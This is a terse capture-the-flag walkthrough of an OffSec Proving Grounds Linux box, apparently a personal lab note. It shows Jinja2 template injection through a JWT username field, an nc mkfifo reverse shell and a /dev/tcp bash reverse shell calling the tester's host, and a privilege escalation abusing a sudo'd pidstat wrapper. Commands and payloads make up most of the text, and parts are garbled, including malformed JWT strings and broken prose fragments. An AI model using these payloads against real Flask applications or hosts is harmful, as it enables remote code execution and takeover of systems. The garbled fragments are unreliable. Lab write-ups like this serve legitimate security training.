

tags: Offsec PG Practice Intermediate Linux # Rookie Mistake

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.169.221 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.169.221:22
Open 192.168.169.221:8080

PORT      STATE SERVICE      REASON  VERSION
22/tcp    open  ssh          syn-ack  OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp  open  http-proxy   syn-ack  Werkzeug/2.1.2 Python/3.8.10
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_ http-title: Mike's upcoming dynamic website!
|_ http-server-header: Werkzeug/2.1.2 Python/3.8.10
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Thu, 25 Apr 2024 06:45:40 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2469
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <meta charset="UTF-8">
|     <title>Mike's upcoming dynamic website!</title>
|     <!-- Mobile Specific Meta -->
|_ _ _ buster
```

```
(kali㉿kali)-[~/pgplay]
└─$ gobuster dir -u http://192.168.169.221:8080 -w /home/kali/SecLists/Discovery/Web-Content/common.txt
```

Starting gobuster in directory enumeration mode

```
/edit (Status: 308) [Size: 253] [-> http://192.168.169.221:8080/edit/]
/login (Status: 308) [Size: 255] [-> http://192.168.169.221:8080/login/]
/signup (Status: 308) [Size: 257] [-> http://192.168.169.221:8080/signup/]
Progress: 4727 / 4727 (100.00%)
```

```
1. http://192.168.169.221:8080/signup/ useadmin/admin
```

2. http://192.168.169.221:8080/login/ login
3. http://192.168.169.221:8080/edit/ ilovejwt,F12 -> StorageChecktokenvalue,JWT.io (<https://jwt.io/>)
4. username{{7*7}},tokenF12storage,login name49 code

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Int7Nyo3fX0iLCJwdWJsZW50bWQiaWQiOiIyNzVhNmYiO3OGYyLTQyN
GMtYWNjNiliYzA0Nzg3ZjRmZjIiLCJleHAiOiE3MTQwMzEyOTB9.1lbwqVpmHzBf9ljzZ5Z-ShNx6fx1RhM43S2buCXWrdY
``` canRefer to [Jinja2 SSTI] (https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#jinja-injection-without-less-than-class-object-greater-than), canls
```

#RCE

change username to

```
{{ config.class.from_envvar.globals.builtins.import('os').popen('ls').read() }}
```

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Int7IGNvbmZpZy5fX2NsYXNzX18uZnJvbV9lbnZ2YXluX19nbG9iYWxzX18u
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp8080
```

```
{
"username": "{{ config.class.from_envvar.globals.builtins.import('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc
192.168.45.236 8080 >/tmp/f').read() }}",
"public_id": "275a63fb-78f2-424c-acc6-bc04787f4ff2",
"exp": 1714031290
}
```

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Int7IGNvbWZpZy5fX2NsYXNxXzU18uZnJvbnV9bnZ2YXluXzE5bnG9iYWxzXzE4meW8frsb3Upqiz2N2afeHfnA5S7mamcGS8XE_aYQ
```

```
''' canget shell,/home/mikeget local.txt
```

```
mike@MikeServer:~$ sudo -l
sudo -l
Matching Defaults entries for mike on MikeServer:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

```
mike@MikeServer:~$ sudo /usr/local/bin/PidMonitorServer &
sudo /usr/local/bin/PidMonitorServer
Access Mike's own process monitor server started at port 9123!
''' then use curlCheck,findpid monitor,pidstat,CheckGTFOBins\(https://gtfobins.github.io/gtfobins/pidstat/#sudo\),then use -e idget
id
```

```
#pwn.sh
bash -c 'bash -i >& /dev/tcp/192.168.45.236/22 0>&1'
```

```
mike@MikeServer:~$ wget 192.168.45.236:22/pwn.sh
mike@MikeServer:~$ chmod +x pwn.sh
mike@MikeServer:~$ curl 127.0.0.1:9123/pid/1%20-e%20bash%20.%2Fpwn.sh
```